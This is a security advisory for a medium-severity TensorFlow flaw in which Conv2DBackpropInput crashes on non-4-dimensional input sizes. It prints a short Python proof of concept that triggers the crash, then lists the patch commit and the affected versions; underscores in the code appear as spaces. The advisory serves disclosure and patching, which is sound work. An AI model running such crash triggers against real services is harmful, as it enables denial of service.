PT-2026-59844 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
The implementation of
Conv2DBackpropInput requires input sizes to be 4-dimensional. Otherwise, it gives a CHECK failure which can be used to trigger a denial of service attack:python
import tensorflow as tf
strides = [1, 1, 1, 1]
padding = "SAME"
use cudnn on gpu = True
explicit paddings = []
data format = "NHWC"
dilations = [1, 1, 1, 1]
input sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)
filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)
out backprop = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw ops.Conv2DBackpropInput(input sizes=input sizes, filter=filter, out backprop=out backprop, strides=strides, padding=padding, use cudnn on gpu=use cudnn on gpu, explicit paddings=explicit paddings, data format=data format, dilations=dilations)Patches
We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow